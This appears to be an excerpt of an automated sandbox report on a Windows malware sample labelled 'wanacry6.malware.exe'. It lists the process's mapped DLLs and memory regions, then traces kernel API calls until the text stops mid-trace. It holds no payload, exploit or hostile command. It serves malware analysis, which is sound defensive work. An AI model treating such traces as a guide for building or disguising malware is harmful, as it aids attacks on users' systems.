0x7ffd1f411150 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 6418 start_va = 0x7ffd17c80000 end_va = 0x7ffd17f27fff entry_point = 0x7ffd17c8ddc4 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 6419 start_va = 0x7ffd1dd40000 end_va = 0x7ffd1dd48fff entry_point = 0x7ffd1dd41400 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 6420 start_va = 0x7ffd18a50000 end_va = 0x7ffd18a59fff entry_point = 0x7ffd18a510c4 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 6421 start_va = 0x7ffd1cca0000 end_va = 0x7ffd1ccb3fff entry_point = 0x7ffd1cca3acc region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 6422 start_va = 0x7ffd1f740000 end_va = 0x7ffd1f916fff entry_point = 0x7ffd1f741f60 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 7251 start_va = 0x7ffd1d4d0000 end_va = 0x7ffd1d520fff entry_point = 0x7ffd1d4d12c0 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 7252 start_va = 0x7ffd1d7d0000 end_va = 0x7ffd1d826fff entry_point = 0x7ffd1d7d2500 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 7253 start_va = 0x7ffd1d050000 end_va = 0x7ffd1d099fff entry_point = 0x7ffd1d051258 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 7254 start_va = 0x7ffd1bb20000 end_va = 0x7ffd1bb45fff entry_point = 0x7ffd1bb2159c region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 7255 start_va = 0x7ffd1b380000 end_va = 0x7ffd1b420fff entry_point = 0x7ffd1b3810a0 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 7256 start_va = 0x92ca740000 end_va = 0x92ca90ffff entry_point = 0x0 region_type = private name = "private_0x00000092ca740000" filename = "" Region: id = 7257 start_va = 0x92ca210000 end_va = 0x92ca216fff entry_point = 0x0 region_type = private name = "private_0x00000092ca210000" filename = "" Region: id = 7258 start_va = 0x92ca220000 end_va = 0x92ca253fff entry_point = 0x92ca221030 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7259 start_va = 0x92ca740000 end_va = 0x92ca8c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000092ca740000" filename = "" Region: id = 7260 start_va = 0x92ca900000 end_va = 0x92ca90ffff entry_point = 0x0 region_type = private name = "private_0x00000092ca900000" filename = "" Region: id = 7261 start_va = 0x7ffd1d550000 end_va = 0x7ffd1d583fff entry_point = 0x7ffd1d551030 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7262 start_va = 0x7ffd1d1b0000 end_va = 0x7ffd1d2e7fff entry_point = 0x7ffd1d1b1010 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 7263 start_va = 0x92ca910000 end_va = 0x92caa90fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000092ca910000" filename = "" Region: id = 7264 start_va = 0x92caaa0000 end_va = 0x92cbe9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000092caaa0000" filename = "" Region: id = 7612 start_va = 0x92ca220000 end_va = 0x92ca220fff entry_point = 0x0 region_type = private name = "private_0x00000092ca220000" filename = "" Region: id = 7613 start_va = 0x92ca230000 end_va = 0x92ca230fff entry_point = 0x0 region_type = private name = "private_0x00000092ca230000" filename = "" Region: id = 7614 start_va = 0x92ca240000 end_va = 0x92ca240fff entry_point = 0x92ca240000 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 7615 start_va = 0x92ca250000 end_va = 0x92ca251fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000092ca250000" filename = "" Region: id = 7616 start_va = 0x92cbea0000 end_va = 0x92cc03ffff entry_point = 0x0 region_type = private name = "private_0x00000092cbea0000" filename = "" Region: id = 7673 start_va = 0x92ca260000 end_va = 0x92ca319fff entry_point = 0x92ca28c768 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 7674 start_va = 0x7ffd1bb70000 end_va = 0x7ffd1bb79fff entry_point = 0x7ffd1bb71748 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 7675 start_va = 0x7ffd1cb70000 end_va = 0x7ffd1cb79fff entry_point = 0x7ffd1cb71010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 7676 start_va = 0x7ffd1cb10000 end_va = 0x7ffd1cb6dfff entry_point = 0x7ffd1cb2f6a0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 7679 start_va = 0x92ca240000 end_va = 0x92ca240fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000092ca240000" filename = "" Region: id = 7680 start_va = 0x92cbea0000 end_va = 0x92cbf8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000092cbea0000" filename = "" Region: id = 7681 start_va = 0x92cc030000 end_va = 0x92cc03ffff entry_point = 0x0 region_type = private name = "private_0x00000092cc030000" filename = "" Region: id = 7682 start_va = 0x92ca240000 end_va = 0x92ca243fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000092ca240000" filename = "" Region: id = 7683 start_va = 0x92ca260000 end_va = 0x92ca266fff entry_point = 0x0 region_type = private name = "private_0x00000092ca260000" filename = "" Region: id = 7718 start_va = 0x92cc040000 end_va = 0x92cc13ffff entry_point = 0x0 region_type = private name = "private_0x00000092cc040000" filename = "" Region: id = 7732 start_va = 0x92cc140000 end_va = 0x92cc240fff entry_point = 0x92cc140000 region_type = mapped_file name = "wanacry6.malware.exe" filename = "\\Program Files\\Common Files\\wanacry6.malware.exe" (normalized: "c:\\program files\\common files\\wanacry6.malware.exe") Region: id = 7735 start_va = 0x92ca270000 end_va = 0x92ca270fff entry_point = 0x0 region_type = private name = "private_0x00000092ca270000" filename = "" Region: id = 7736 start_va = 0x7ffd1b1a0000 end_va = 0x7ffd1b1c0fff entry_point = 0x7ffd1b1a1100 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 7737 start_va = 0x92cc140000 end_va = 0x92cc414fff entry_point = 0x92cc140000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 7743 start_va = 0x92ca280000 end_va = 0x92ca282fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000092ca280000" filename = "" Region: id = 7744 start_va = 0x92ca280000 end_va = 0x92ca280fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000092ca280000" filename = "" Region: id = 7841 start_va = 0x92ca290000 end_va = 0x92ca290fff entry_point = 0x0 region_type = private name = "private_0x00000092ca290000" filename = "" Region: id = 7842 start_va = 0x92cc420000 end_va = 0x92cc911fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000092cc420000" filename = "" Region: id = 7843 start_va = 0x92cc920000 end_va = 0x92cd78ffff entry_point = 0x92cc920000 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Region: id = 7844 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 7845 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 7846 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 7847 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 7848 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 7849 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 7850 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 7851 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 7852 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 7853 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 7854 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 7855 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 7856 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 7857 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 7858 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 7859 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 7860 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 7861 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 7862 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 7863 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 7864 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 7865 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 7866 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 7867 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 7878 start_va = 0x92ca2a0000 end_va = 0x92ca2a0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000092ca2a0000" filename = "" Region: id = 7879 start_va = 0x92cd790000 end_va = 0x92cd9a7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000092cd790000" filename = "" Region: id = 8017 start_va = 0x92ca2a0000 end_va = 0x92ca2a2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000092ca2a0000" filename = "" Region: id = 8018 start_va = 0x92ca2b0000 end_va = 0x92ca2b0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000092ca2b0000" filename = "" Region: id = 8019 start_va = 0x92ca2c0000 end_va = 0x92ca2c4fff entry_point = 0x92ca2c0000 region_type = mapped_file name = "user32.dll.mui" filename = "\\Windows\\System32\\en-US\\user32.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\user32.dll.mui") Region: id = 8020 start_va = 0x92ca2d0000 end_va = 0x92ca313fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000092ca2d0000" filename = "" Region: id = 8021 start_va = 0x92cc420000 end_va = 0x92cc911fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000092cc420000" filename = "" Region: id = 8022 start_va = 0x92cd9b0000 end_va = 0x92d0845fff entry_point = 0x92cd9b0000 region_type = mapped_file name = "imageres.dll" filename = "\\Windows\\System32\\imageres.dll" (normalized: "c:\\windows\\system32\\imageres.dll") Region: id = 8023 start_va = 0x92d0850000 end_va = 0x92d0c49fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000092d0850000" filename = "" Region: id = 8024 start_va = 0x7ffd1c640000 end_va = 0x7ffd1c65dfff entry_point = 0x7ffd1c6411c8 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 8025 start_va = 0x7ffd1c220000 end_va = 0x7ffd1c254fff entry_point = 0x7ffd1c2213d8 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 8026 start_va = 0x7ffd1c870000 end_va = 0x7ffd1c895fff entry_point = 0x7ffd1c875b68 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 8027 start_va = 0x92d0c50000 end_va = 0x92d0d5dfff entry_point = 0x0 region_type = private name = "private_0x00000092d0c50000" filename = "" Region: id = 8049 start_va = 0x92ca8d0000 end_va = 0x92ca8f4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000092ca8d0000" filename = "" Region: id = 8050 start_va = 0x7ffd1b950000 end_va = 0x7ffd1b9dafff entry_point = 0x7ffd1b951024 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll") Region: id = 8051 start_va = 0x92ca2d0000 end_va = 0x92ca333fff entry_point = 0x92ca2d0000 region_type = mapped_file name = "sysmain.sdb" filename = "\\Windows\\apppatch\\apppatch64\\sysmain.sdb" (normalized: "c:\\windows\\apppatch\\apppatch64\\sysmain.sdb") Region: id = 8052 start_va = 0x92d0c50000 end_va = 0x92d0d58fff entry_point = 0x92d0c7fa1c region_type = mapped_file name = "wanacr~1.exe" filename = "\\PROGRA~1\\COMMON~1\\WANACR~1.EXE" (normalized: "c:\\progra~1\\common~1\\wanacr~1.exe") Thread: id = 421 os_tid = 0x454 [0107.000] EngAllocMem () returned 0xfffff90140890700 [0107.000] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.000] MmMapViewOfSection (in: SectionObject=0xffffc00001daf8c0, Process=0xffffe0000120d900, BaseAddress=0xfffff90140890a28*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0xffffd00021de5ed0, ViewSize=0xfffff90140890a40, InheritDisposition=0xfffff90100000001, AllocationType=0x0, Protect=0x4 | out: BaseAddress=0xfffff90140890a28*=0x92cd790000, SectionOffset=0xffffd00021de5ed0, ViewSize=0xfffff90140890a40) returned 0x0 [0107.000] EngCreateBitmap () returned 0x2a0505ca [0107.000] EngAssociateSurface () returned 0x1 [0107.000] EngLockSurface () returned 0xfffff901408972c8 [0107.000] ExAllocatePoolWithTag (PoolType=0x200, NumberOfBytes=0x38, Tag=0x64646344) returned 0xffffe0000162c1b0 [0107.000] KeInitializeEvent (in: Event=0xffffe0000162c1c8, Type=0x1, State=0 | out: Event=0xffffe0000162c1c8) [0107.000] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.008] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.008] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.008] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0107.074] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.075] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.075] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.079] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.080] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.080] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.081] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.081] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.081] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.081] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.081] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.081] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.081] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.081] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.081] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.081] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.081] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.081] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.081] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.081] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.081] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.081] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.081] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.081] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.081] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.081] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.081] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.082] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.082] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.082] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.082] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.082] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.082] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.082] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.082] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.082] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.082] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.082] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.082] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.082] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.082] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.082] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.082] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.082] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.082] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.082] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.082] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.082] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.082] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.082] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.082] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.083] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.083] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.083] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.083] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.083] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.083] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.083] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.083] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.083] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.083] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.083] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.083] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.083] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.083] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.084] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.084] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.084] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.085] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.085] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.085] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.085] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.085] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.085] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.085] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.085] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.085] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.085] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.085] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.085] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.085] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.085] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.086] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.086] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.086] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.086] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.086] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.086] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.086] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.086] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.086] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.086] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.086] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.086] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.086] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.086] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.086] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.086] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.086] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.086] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.086] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.086] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.086] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.086] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.086] IoGetCurrentProcess () returned 0xffffe0000120d900 [0107.087] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.087] 